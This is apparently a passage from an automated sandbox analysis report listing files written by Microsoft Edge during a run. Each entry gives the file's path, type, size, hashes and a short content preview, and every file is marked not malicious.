SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-672FCF8D-494.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4546214733987915
Encrypted:	false
SSDEEP:	3072:Jv/u8b3Helq86h7CLTkc3dTfnAMcMWNqWqs09E5YTd3/Ag1HFII:Zu8al47C3kc3lfqoWqPE5YTd3/AaHeI
MD5:	533387AA328BE81347BDD6D9510EDE42
SHA1:	875662F324B66FB7AEC5175C269D2B8E6A2FDDE2
SHA-256:	893D2942D89B26748E347E0D48BC345D1A7B1F517832C7A0A0F04A193CB77E64
SHA-512:	7B68998E7BE5E59B82CC38F1FF7EAA06A778310915C30DBF7AFB0B39F9AB72313C559DB5001DCB197238426C20194C462106B17DA703CA37E317219C578910AC
Malicious:	false
Preview:	...@..@...@.....C.].....@...................................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".ohacma20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2..........~...... .2.......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\196d9152-cd26-43e8-8f0b-8b8412c5ca3d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17501), with no line terminators
Category:	dropped
Size (bytes):	17502
Entropy (8bit):	5.474930600251759
Encrypted:	false
SSDEEP:	384:stZPGQSu4As5ofhITY2xWxfUbGiqQwJ6WklaTYJ:sPOXumofcYBUbG8eKaTYJ
MD5:	67D885D3895E970E9D844DF6AA0563B8
SHA1:	6230FE50D1D219669B52D997E9AAFB9D41F2B51C
SHA-256:	18EEDEBF55E1440911007C22F50766E426089BEFAA7745709E0346DB3E76F9E0
SHA-512:	8D7662F99A647A4B88C44F7537007C01E6E57B3F3FE74F6BAE0AAA9FCC890D8D2FCFA0F45A0D1AA19312D5083C751250937B658D99E5CC25CE4FA2317C8EC7CD
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375660174171440","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\1b8de3a0-2ab1-4b06-b147-7584658f982f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\27deca40-7ae2-4277-8535-f21c2fdd4695.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12590
Entropy (8bit):	5.205107302783892
Encrypted:	false
SSDEEP:	192:stZJ99QTryDigabatSuypAs5osZihUkuM/c7p82bV+FiIXQA66W/aFIMYllPEYJ:stZPGKSu4As5ofhabGiqQx6W/aTYJ
MD5:	E2884466863FF58E6C971CFA68EA915D
SHA1:	36912A1E80A5B623A1B96430824D05C0DDC649C1
SHA-256:	A034B0F1A113F105630F5DF93089C228967B18097F3BEB52E58710B4A13D719E
SHA-512:	0CDEB97A4132E5EA0B8FAA7926B7C59BBC76E90B52B58D84FD0E5960E54BC20DC946171B89DA285778348C9C80C1918ADA2CEB5CCF0A4A62A8E5FC9A5AB908EB
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375660174171440","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\3f4f8630-1c56-4a3e-8e66-dd677787ea4c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40470
Entropy (8bit):	5.561631373744032
Encrypted:	false
SSDEEP:	768:tXZB977pLGLpaMWPJlfc88F1+UoAYDCx9Tuqh0VfUC9xbog/OVtp0bxgfrwJYt45:tXZB9NcpaMWPJlfc8u1ja0p0VgsJ445D
MD5:	7067778EC1699E3DF1B573B389533849
SHA1:	094BE2BA54C2A91C44F1DCE65AFD60168DF86457
SHA-256:	7D0B3B57DAD312078ADABAA98232FC9C92EE41FB634040CFAFA38DCF197EC19A
SHA-512:	B7AAB00C782B07374443716CD4A7E735D7A60E0B7698C3083804B45CF71F2AF6517A3C237C7C892CC2A8DE220EED1E72FC7D7FEED4C3D11F880F72A53F5D0CC8
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375660173595742","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375660173595742","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\708a1887-47a9-46dc-9bf6-0772eb872d72.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (16743), with no line terminators
Category:	dropped
Size (bytes):	16744
Entropy (8bit):	5.436922639271022
Encrypted:	false
SSDEEP:	384:stZPGQSu4As5ofhmY2xWxfUbGiqQwJ6W/aTYJ:sPOXumofQYBUbG8ejaTYJ
MD5:	EA7C0A73AAC0B3DFAFBF39C44A026878
SHA1:	28C020FC452FA114ECA3B37C0351A2F154BEC47D
SHA-256:	7CFBF0ED99E87043F4F18522D71C072733BB544D87ED2E55B7963EB41D0EF6F9
SHA-512:	A5A7FDF84D4F9842A08FFE98DBF395238DBF02C852711311B7FE6EBD477BBAF5ADF39C398CDBE0B68E303A49A53B70289A0388BBD90DE050F97D4BDDF7CA3C51
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375660174171440","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7b65e86d-8d62-4de2-8132-28cb3859d479.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.2743858328062645
Encrypted:	false
SSDEEP:	6:H2uMRM1923oH+Tcwtp3hBtB2KLlV2EEFIq2P923oH+Tcwtp3hBWsIFUv:IhYebp3dFLdEFIv4Yebp3eFUv
MD5:	589B4A2379C056BCA1398A9754DE68EE
SHA1:	57BE5D21D493E13A108EC93158BBE9C37A29067B
SHA-256:	E09A34382505A02129FE179B4DFD851643AB8AB96B1475017D9CCB533914E61F
SHA-512:	77FED4C9DAF7014C0026AF871B3465650A1BAC54D3AA3042F5CE48EC37F3D13D4525807E7B123415BBF4EFED5C12C44916E3FE95AF9B7B364A5F6C9E98D0F14E
Malicious:	false
Preview:	2024/11/09-16:09:38.869 2154 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/09-16:09:38.880 2154 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222873806771255
Encrypted:	false
SSDEEP:	24576:v+/PN8FJfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:v+/PN8Xfx2mjF
MD5:	C33A5D0AFC8B75021485465A77212520
SHA1:	D30008026590DCFA9A5878A03BBCAD93D3E524FD
SHA-256:	3F79737C3654FBB628621CB79FD416BE8B5EC7BB85903FABCF92E5B2F86C5285
SHA-512:	9A755CA7523E0B843925F9FB8A3600F6B6FBF1A3B4667FDFCADC4BFB1E7CD49BD2C80D1E1AEFDE9706F2AD2BAA8E3BAE42D93FB03C1DB13AA599591C5AAED9F4
Malicious:	false
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.129100235068177
Encrypted:	false
SSDEEP:	6:H22CX3Qyq2P923oH+Tcwt9Eh1tIFUt8Y223G1Zmw+Y2UOQRkwO923oH+Tcwt9Ehx:ewyv4Yeb9Eh16FUt8D/+4R5LYeb9Eh1H
MD5:	0312BA1EDFA3649718E90586AAD673DA
SHA1:	3D50F8849900590BD4CC0DE0A261FBA474AFC21B
SHA-256:	0C2F21B89748DD26D605D952AC96318932036016B8A7F7FD7721B782CEF087F3
SHA-512:	6195336D61945E7CFF28698A25B1CA0BABFB903E9776067EADDAE0B65DF8EC0109D352CC1E53FC3F34F2248E55EECD2430776994FFB2255AD3AA496B6ADEDC89
Malicious:	false
Preview:	2024/11/09-16:09:38.095 22e4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/09-16:09:38.098 22e4 Recovering log #3.2024/11/09-16:09:38.103 22e4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.129100235068177
Encrypted:	false
SSDEEP:	6:H22CX3Qyq2P923oH+Tcwt9Eh1tIFUt8Y223G1Zmw+Y2UOQRkwO923oH+Tcwt9Ehx:ewyv4Yeb9Eh16FUt8D/+4R5LYeb9Eh1H
MD5:	0312BA1EDFA3649718E90586AAD673DA
SHA1:	3D50F8849900590BD4CC0DE0A261FBA474AFC21B
SHA-256:	0C2F21B89748DD26D605D952AC96318932036016B8A7F7FD7721B782CEF087F3
SHA-512:	6195336D61945E7CFF28698A25B1CA0BABFB903E9776067EADDAE0B65DF8EC0109D352CC1E53FC3F34F2248E55EECD2430776994FFB2255AD3AA496B6ADEDC89
Malicious:	false
Preview:	2024/11/09-16:09:38.095 22e4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/09-16:09:38.098 22e4 Recovering log #3.2024/11/09-16:09:38.103 22e4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.462798923847506
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBukH2:TouQq3qh7z3bY2LNW9WMcUvBukH2
MD5:	9B00F03E0F6A5FBC9CBEF63249827CB3
SHA1:	68183CC2889033FC04042B4453A4A9C352477A38
SHA-256:	E00AF9E13A2CD0AE380C656F954CCB64CEC92617C5247FFF9FEA58727A6D3E13
SHA-512:	38F6ECE2FC0D3B8BE512103E799FBF7C20C395543450F0DD1A2DD5ED1852A43E167E6800AC86C0D64A13D398291AA79C15FB7DC1A5CE316F2C9CC0AE5A5C5301
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.153957591298879
Encrypted:	false
SSDEEP:	6:H2wZL+q2P923oH+TcwtnG2tMsIFUt8Y2wPKWZmw+Y2wZLVkwO923oH+TcwtnG2tF:5ZL+v4Yebn9GFUt8eyW/+eZLV5LYebnB
MD5:	3DD8D09E6CE3A1BCD24B7402C6132F64
SHA1:	170D67A63450CFC278408400D8F8DB858809808D
SHA-256:	D0553427FEB1A0AC15638F66E175FA9B67FD887209A35CE997F43CC8255D30E7
SHA-512:	10A92EEBA13FB067F36795C9F10B2BC2DCDA92E0C1515FDD01C1E51FD85B66FF36FBE5B0A28ADD90AFAF2C5A76986E43B1B6CA6E9B9C714F7F2917545CCBC8A9
Malicious:	false
Preview:	2024/11/09-16:09:33.611 1e3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/09-16:09:33.611 1e3c Recovering log #3.2024/11/09-16:09:33.611 1e3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.153957591298879
Encrypted:	false
SSDEEP:	6:H2wZL+q2P923oH+TcwtnG2tMsIFUt8Y2wPKWZmw+Y2wZLVkwO923oH+TcwtnG2tF:5ZL+v4Yebn9GFUt8eyW/+eZLV5LYebnB
MD5:	3DD8D09E6CE3A1BCD24B7402C6132F64
SHA1:	170D67A63450CFC278408400D8F8DB858809808D
SHA-256:	D0553427FEB1A0AC15638F66E175FA9B67FD887209A35CE997F43CC8255D30E7
SHA-512:	10A92EEBA13FB067F36795C9F10B2BC2DCDA92E0C1515FDD01C1E51FD85B66FF36FBE5B0A28ADD90AFAF2C5A76986E43B1B6CA6E9B9C714F7F2917545CCBC8A9
Malicious:	false
Preview:	2024/11/09-16:09:33.611 1e3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/09-16:09:33.611 1e3c Recovering log #3.2024/11/09-16:09:33.611 1e3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6131966444047534
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jpKdpLKc4mL:TO8D4jJ/6Up+m
MD5:	68295A37E740FDB8113E494571FF8F76
SHA1:	63A8DA22466771C32F8943463326ACCE548EAA90
SHA-256:	81F0B0D94B2E60B1DA659908F2FC74387F582594825A6BA78C001D15DC1C812C
SHA-512:	A44854FAF96F5D6B6F5AE6EF09989FA66DD9D9F0C592FB12FEFF1D4BD7921B5775F675F48FF876C393FBAC8A3762718FBB64300486D92D91CB4D09AE9BF2EC76
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
